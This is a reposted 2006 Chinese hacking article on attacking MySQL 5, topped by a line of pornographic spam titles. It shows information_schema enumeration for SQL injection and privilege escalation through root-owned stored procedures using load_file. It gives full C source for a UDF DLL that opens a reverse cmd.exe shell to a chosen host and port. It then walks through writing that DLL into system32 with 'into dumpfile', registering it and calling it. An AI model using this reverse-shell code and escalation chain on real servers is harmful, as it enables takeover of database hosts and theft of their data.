日韩黑丝制服一区视频播放|日韩欧美人妻丝袜视频在线观看|九九影院一级蜜桃|亚洲中文在线导航|青草草视频在线观看|婷婷五月色伊人网站|日本一区二区在线|国产AV一二三四区毛片|正在播放久草视频|亚洲色图精品一区

分享

Hackfing in Mysql5

 suncly 2006-09-15
創(chuàng)建時(shí)間:2006-01-30
文章屬性:原創(chuàng)
文章提交:HeiGe (hack-520_at_163.com)

Hackfing in Mysql5

Author:SuperHei_[At]_
Blog:http://superhei./
Team:http://www.
Data: 2006-01-29

     Mysql5增加很多新的功能,開(kāi)始支持:存儲(chǔ)過(guò)程、觸發(fā)器、視圖、信息架構(gòu)視圖等新特。可以說(shuō)這些都是發(fā)展的必然,但是新的東西的出來(lái),必定也會(huì)帶來(lái)新的安全問(wèn)題,如Mysql4開(kāi)始支持union查詢、子查詢。這直接導(dǎo)致mysql注射更容易、廣泛。mysql5的新功能會(huì)給安全帶來(lái)什么新的東西呢?下面我給大家介紹下mysql5在安全方面的特點(diǎn):


一、password authentication

mysql5的password()和mysql4.1一樣,采用的基于SHA1的41位hash:

mysql> select password(‘mypass‘);
+-------------------------------------------+
| password(‘mypass‘)                        |
+-------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+-------------------------------------------+
1 row in set (0.00 sec)

在mysql4.1以前的password hashes是基于16位md5:

mysql> SELECT PASSWORD(‘mypass‘);
+--------------------+
| PASSWORD(‘mypass‘) |
+--------------------+
| 6f8c114b58f2ce9e   |
+--------------------+

當(dāng)使用低版本的Client連接時(shí),回出現(xiàn)錯(cuò)誤:Client does not support authentication protocol,為了解決這個(gè)問(wèn)題,mysql5提供了一個(gè)old_password(),就相當(dāng)于mysql4.1以前的的password():

mysql> select old_password(‘mypass‘);
+------------------------+
| old_password(‘mypass‘) |
+------------------------+
| 6f8c114b58f2ce9e       |
+------------------------+
1 row in set (0.09 sec)

二、數(shù)據(jù)字典(information_schema)

和mssql、oracle、db2等數(shù)據(jù)庫(kù)一樣,mysql5提供了一個(gè)系統(tǒng)數(shù)據(jù)庫(kù):information_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| KEY_COLUMN_USAGE                      |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| VIEWS                                 |
| USER_PRIVILEGES                       |
+---------------------------------------+
16 rows in set (0.17 sec)

在這個(gè)數(shù)據(jù)庫(kù)里我們可以得到很多信息,包括當(dāng)前用戶權(quán)限:
mysql> select * from information_schema.USER_PRIVILEGES;
+-----------+---------------+----------------+--------------+
| GRANTEE   | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+-----------+---------------+----------------+--------------+
| ‘KK1‘@‘%‘ | NULL          | USAGE          | NO           |
+-----------+---------------+----------------+--------------+
1 row in set (0.02 sec)

當(dāng)前用戶權(quán)限下可以訪問(wèn)的數(shù)據(jù)庫(kù),表,列名(這個(gè)在sql注射中,導(dǎo)致直接暴區(qū)數(shù)據(jù)庫(kù),表列名,再也不要‘暴力’咯):

mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS
TICS;
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| in           | article    | articleid   |
| in           | user       | userid      |
+--------------+------------+-------------+
2 rows in set (0.02 sec)

還可以得到當(dāng)前用戶權(quán)限下的VIEWS,ROUTINES等,關(guān)于ROUTINES我們?cè)谙旅娴?#8216;存儲(chǔ)過(guò)程’里詳細(xì)介紹。

[ps:注意是‘當(dāng)前用戶權(quán)限’如果是root,那么太可以得到所有的數(shù)據(jù)庫(kù)名稱以及表列名等等]


三、存儲(chǔ)過(guò)程(Stored Procedures)

‘存儲(chǔ)過(guò)程‘的使用是mysql5的一個(gè)閃光點(diǎn),在帶來(lái)方便的同時(shí),它也帶來(lái)了新的安全隱患:如sql注射,用戶權(quán)限提升等等。

D:\mysql5\bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18

Type ‘help;‘ or ‘\h‘ for help. Type ‘\c‘ to clear the buffer.

mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
    -> BEGIN
    ->   SELECT * FROM in.USER WHERE USERID=ID;
    -> END//
Query OK, 0 rows affected (0.08 sec)

mysql> delimiter ;

mysql> call test(1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
|      1 | angel    | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

上面我們使用root在數(shù)據(jù)庫(kù)in里創(chuàng)建了一個(gè)名為test的存儲(chǔ)過(guò)程。

a、SQL Injection

mysql> call test(1 and 1=1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
|      1 | angel    | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call test(1 and 1=2);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

b、跨權(quán)限
存儲(chǔ)過(guò)程是繼承創(chuàng)建者的權(quán)限的,如果存儲(chǔ)過(guò)程是root創(chuàng)建的,當(dāng)其他普通用戶使用這個(gè)存儲(chǔ)過(guò)程時(shí),導(dǎo)致跨權(quán)限攻擊:

mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
    -> ON `IN`.*
    -> TO ‘KK1‘@‘%‘
    -> IDENTIFIED BY ‘OBSCURE‘;
Query OK, 0 rows affected (0.03 sec)

上面建立一個(gè)KK1的用戶只在數(shù)據(jù)庫(kù)in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE權(quán)限,使用KK1登陸:
D:\mysql5\bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18

Type ‘help;‘ or ‘\h‘ for help. Type ‘\c‘ to clear the buffer.

mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+----------------+--------------+----------------+--------------------+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER        | ROUTINE_DEFINITION |
+----------------+--------------+----------------+--------------------+
| in             | test         | root@localhost |                    |
| in             | tt           | root@localhost |                    |
+----------------+--------------+----------------+--------------------+
2 rows in set (0.01 sec)

我們可以得到KK1可以使用存儲(chǔ)過(guò)程in.test 其創(chuàng)建者為root@localhost。不過(guò)KK1沒(méi)有權(quán)限得到ROUTINE_DEFINITION 就是in.test的代碼。下面看看跨權(quán)限:

mysql> call in.test(1 and length(load_file(‘c:/boot.ini‘))>0);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
|      1 | angel    | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call in.test(1 and length(load_file(‘c:/boot.ini‘))<0);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

沒(méi)有file權(quán)限的KK1可以使用in.test使用load_file(),我們還可以直接對(duì)mysql.user進(jìn)行select,如果存儲(chǔ)過(guò)程可以u(píng)pdata,insert注射,那么我們可以普通用戶直接通過(guò)注射來(lái)修改mysql.user里的數(shù)據(jù)。

四、User-Defined Function

[ps:下面都是基于win系統(tǒng)]

mysql5的udf在格式和安全方面做一些新的改變:
1、格式要求更加嚴(yán)格[xxx_init()初始化函數(shù)]
對(duì)于沒(méi)有xxx_init()初始化函數(shù) 在以前的版本是可以使用的,但是在mysql5下會(huì)出現(xiàn)Can‘t find function ‘xxx_init‘ in library的錯(cuò)誤,如:

mysql> create function ExitProcess returns integer soname ‘kernel32‘;
ERROR 1127 (HY000): Can‘t find function ‘ExitProcess_init‘ in library

下面給出的代碼是好友云舒寫的,符合mysql5的udf格式要求可以在mysql5下使用:

/*******************************************************************************
* File:   MySQL_Shell.cpp
* Author: 云舒(wustyunshu at hotmail dot com)
* Date:    2005-12-12
*******************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#define MAKE_DLL                /* Build dll here */

#include "MySQL_Shell.h"

#pragma comment( lib, "ws2_32" )

#define BUFFER_SIZE    1024

///////////////////////////////////////////////////////////////////////////////
//函數(shù)原型
///////////////////////////////////////////////////////////////////////////////

BOOL StartWith( char *, char * );
void LogMsg( char * );

///////////////////////////////////////////////////////////////////////////////
//MySQL模塊初始化函數(shù)
///////////////////////////////////////////////////////////////////////////////

LIB    my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
    if ( args->arg_count != 2 )
    {
        strcpy( message, "Shell() requires two arguments" );
        return 1;
    }

    if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
    {
        strcpy( message, "Shell() requires two string arguent" );
        return 1;
    }

    return 0;
}

///////////////////////////////////////////////////////////////////////////////
//MySQL模塊主功能函數(shù),反向連接提供shell
///////////////////////////////////////////////////////////////////////////////

LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
    SOCKET            sock;
    SOCKADDR_IN        sin;
    int                ret;
    
    // Create socket
    sock = socket( AF_INET, SOCK_STREAM, 0 );
    if ( sock == INVALID_SOCKET )
    {
        strcpy( error, "Create socket error" );

        return -1;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons( atoi(args->args[1]) );
    sin.sin_addr.s_addr = inet_addr( args->args[0] );
    
    //connect to remote server
    ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
    if( ret == SOCKET_ERROR )
    {
        strcpy( error, "Connect error" );

        return -1;
    }

    SECURITY_ATTRIBUTES    sa;
    
    sa.nLength = sizeof( sa );
    sa.lpSecurityDescriptor = 0;
    sa.bInheritHandle = TRUE;
    
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

    ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
    ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );
        
    STARTUPINFO    si;
    ZeroMemory( &si, sizeof(si) );

    GetStartupInfo( &si );
    
    si.cb = sizeof( si );
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;
    
    PROCESS_INFORMATION    processInfo;
    
    char    cmdLine[] = "cmd.exe";

    ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
    ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);
    
    char            buff[BUFFER_SIZE] = { 0 };            
    unsigned long    bytesRead = 0;
    int             i = 0;
    
    while( TRUE )
    {
        memset( buff, 0, BUFFER_SIZE );
        
          ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );
          
          for(i = 0; i < 5 && bytesRead == 0; i++)
        {
            Sleep(100);
            ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
        }
        
          if( bytesRead )
        {
               ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
               if( !ret ) break;
  
            ret = send( sock, buff, bytesRead, 0 );
               if( ret <= 0 ) break;
          }
        else
        {
               bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );
                
               if( bytesRead <= 0 ) break;
            
            if( StartWith( buff , "exit" ) == TRUE ) break;

               ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
               if( !ret ) break;
           }
    }
    
    TerminateProcess( processInfo.hProcess, 0 );

    CloseHandle( hReadPipe1 );
    CloseHandle( hReadPipe2 );
    CloseHandle( hWritePipe1 );
    CloseHandle( hWritePipe2 );
    
    closesocket( sock );

    return 0;
}    

///////////////////////////////////////////////////////////////////////////////
//判斷字符串是否以另一個(gè)字符串開(kāi)頭
///////////////////////////////////////////////////////////////////////////////

BOOL StartWith( char *buf1, char *buf2 )
{
    int len = strlen(buf2);

    if( memcmp( buf1,buf2,len ) == 0 )
    {
        return TRUE;
    }
    return FALSE;
}

///////////////////////////////////////////////////////////////////////////////
//記錄日志信息,調(diào)試用
///////////////////////////////////////////////////////////////////////////////

void LogMsg( char *msg )
{
    FILE    *fp;

    fp = fopen( "C:\mysql.txt", "a+" );

    fputs( msg, fp );

    fclose( fp );
}


/*******************************************************************************
* File:   MySQL_Shell.h
* Author: 云舒(wustyunshu at hotmail dot com)
* Date:    2005-12-12
*******************************************************************************/

#ifdef MAKE_DLL
    #define LIB extern "C" __declspec(dllexport)
#else
    #define LIB extern "C" __declspec(dllimport)
#endif

#define MYSQL_ERRMSG_SIZE    512                /* Max buffer size */

typedef char my_bool;

enum Item_result
{
    STRING_RESULT,REAL_RESULT,INT_RESULT
};

typedef struct st_udf_args
{
    unsigned int        arg_count;           /* Number of arguments */
    enum Item_result    *arg_type;           /* Pointer to item_results */
    char                **args;                 /* Pointer to argument */
    unsigned long        *lengths;            /* Length of string arguments */
    char                *maybe_null;         /* Set to 1 for all maybe_null args */
} UDF_ARGS;


typedef struct st_udf_init
{
    my_bool                maybe_null;          /* 1 if function can return NULL */
    unsigned int        decimals;            /* for real functions */
    unsigned int        max_length;          /* For string functions */
    char                *ptr;                /* free pointer for function data */
    char                const_item;          /* 0 if result is independent of arguments */
} UDF_INIT;

LIB    my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );

LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );


2、mysql5限制了udf對(duì)應(yīng)的文件dll文件只可以放在system32目錄下。
對(duì)于一般低權(quán)限的系統(tǒng)用戶是沒(méi)有對(duì)system32目錄寫權(quán)限的,在這樣的情況下我們可以使用into dumpfile把dll文件放到system32來(lái)突破,具體如下:
mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)

mysql> insert into heige values(load_file(‘c:/udf.dll‘));
Query OK, 1 row affected (0.08 sec)

mysql> select * from heige into dumpfile ‘c:/winnt/system32/heige.dll‘;
Query OK, 1 row affected (0.18 sec)

mysql> create function shell returns integer soname ‘heige.dll‘;
Query OK, 0 rows affected (0.07 sec)

mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name  | ret | dl        | type     |
+-------+-----+-----------+----------+
| shell |   2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)

mysql> select shell(‘127.0.0.1‘,‘1234‘);
+---------------------------+
| shell(‘127.0.0.1‘,‘1234‘) |
+---------------------------+
|                      NULL |
+---------------------------+
1 row in set (0.97 sec)

五、參考
《MySQL 5.0 Reference Manual》 http://dev./doc/refman/5.0/en/
《Hackproofing MySQL》         http://www./papers/HackproofingMySQL.pdf
《給mysql加個(gè)自定義函數(shù)(windows平臺(tái))》http://www./yunshu/show.php?id=244

六、感謝
感謝云舒、TomyChen、Mix ...所有pst的兄弟們。

謝謝閱讀!

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多